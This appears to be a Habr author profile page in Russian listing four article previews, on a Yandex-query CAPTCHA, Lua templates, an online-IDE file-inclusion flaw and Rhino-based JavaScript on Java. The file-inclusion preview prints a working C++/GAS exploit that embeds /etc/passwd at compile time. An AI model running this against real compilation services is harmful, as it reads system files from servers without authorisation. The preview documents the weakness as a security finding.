Как стать автором
Обновить
12
0
Данила Поярков @dannote

Пользователь

Отправить сообщение

Тест Тьюринга на основе реальных поисковых запросов в Яндексе

Время на прочтение1 мин
Количество просмотров38K
Дело в том, что все (или почти все) поисковые запросы в Яндексе, пусть и в анонимизированном виде, в реальном времени доступны по адресу export.yandex.ru/last/last20x.xml

На основе этого API я сделал маленький проект на Openresty (nginx + Lua + imagemagick), предоставляющий высокопроизводительную реализацию CAPTCHA.

image

Предусмотрена возможность встраивания в виде iframe.

GitHub, demo
Читать дальше →
Всего голосов 75: ↑66 и ↓9+57
Комментарии74

One-liner для компиляции шаблонов на Lua

Время на прочтение2 мин
Количество просмотров7.4K
Синтаксис Lua позволяет реализовать шаблоны в стиле PHP буквально несколькими регулярными выражениями.
Для начала посмотрим, что из этого выйдет.

Подстановка переменных


<a href="<%url%>"><%label%></a>

Логические конструкции


Будет
<? if 1 > 2 then ?>
лучше
<? else ?>
хуже
<? end ?>

Циклы


<ul>
<? for i = 1, 9999 do ?>
  <li>ФЗ №<%i%></li>
<? end ?> 
</ul>

Читать дальше →
Всего голосов 29: ↑22 и ↓7+15
Комментарии20

Online IDE и Local File Inclusion

Время на прочтение1 мин
Количество просмотров5.9K
В последнее время появилось множество online IDE с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.

GCC + GAS

GCC позволяет с помощью директивы asm вызывать GAS, у которого есть замечательная инструкция incbin. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:

#include <stdio.h>

extern "C"

asm(
     ".global _data\n"
     ".data\n"
     "_data:\n"
     ".incbin \"/etc/passwd\"\n"
     ".byte 0"
);

extern const char _data;
const char* data = &_data;

int main() {
    printf("%s", data);
}
Всего голосов 27: ↑21 и ↓6+15
Комментарии4

Node.js vs Java + Rhino + Jetty + FreeMarker

Время на прочтение5 мин
Количество просмотров19K

Хоть Node.js и обзавелся с момента своего появления множеством модулей, он все еще существенно уступает по возможностям мощному набору библиотек Java. Так отчего бы не воспользоваться потенциалом Java для разработки web-приложений на JavaScript? Давайте посмотрим, как можно построить удобный JavaScript MVC framework на Java.

Mozilla Rhino


Прежде всего, начнем с носорогов. Для компиляции/интерпретации JavaScript будем использовать движок Mozilla Rhino, обеспечивающий отличную интеграцию кода ECMAScript в Java-приложения. Начиная с J2SE 6 Rhino включается в JRE в составе Java Scripting API, однако версия в JRE значительно устаревшая и, кроме того, с некоторыми неприятными особенностями реализации от Sun, поэтому лучше воспользоваться свежим build-ом.

Прежде всего, helloworld.js:
print('Hey you!');

Предполагая, что библиотеки Rhino распакованы в ./lib, запускаем пример следующим образом:
java -Djava.ext.dirs=./lib org.mozilla.javascript.tools.shell.Main helloworld.js

Читать дальше →
Всего голосов 41: ↑36 и ↓5+31
Комментарии35

Информация

В рейтинге
Не участвует
Откуда
Москва, Москва и Московская обл., Россия
Зарегистрирован
Активность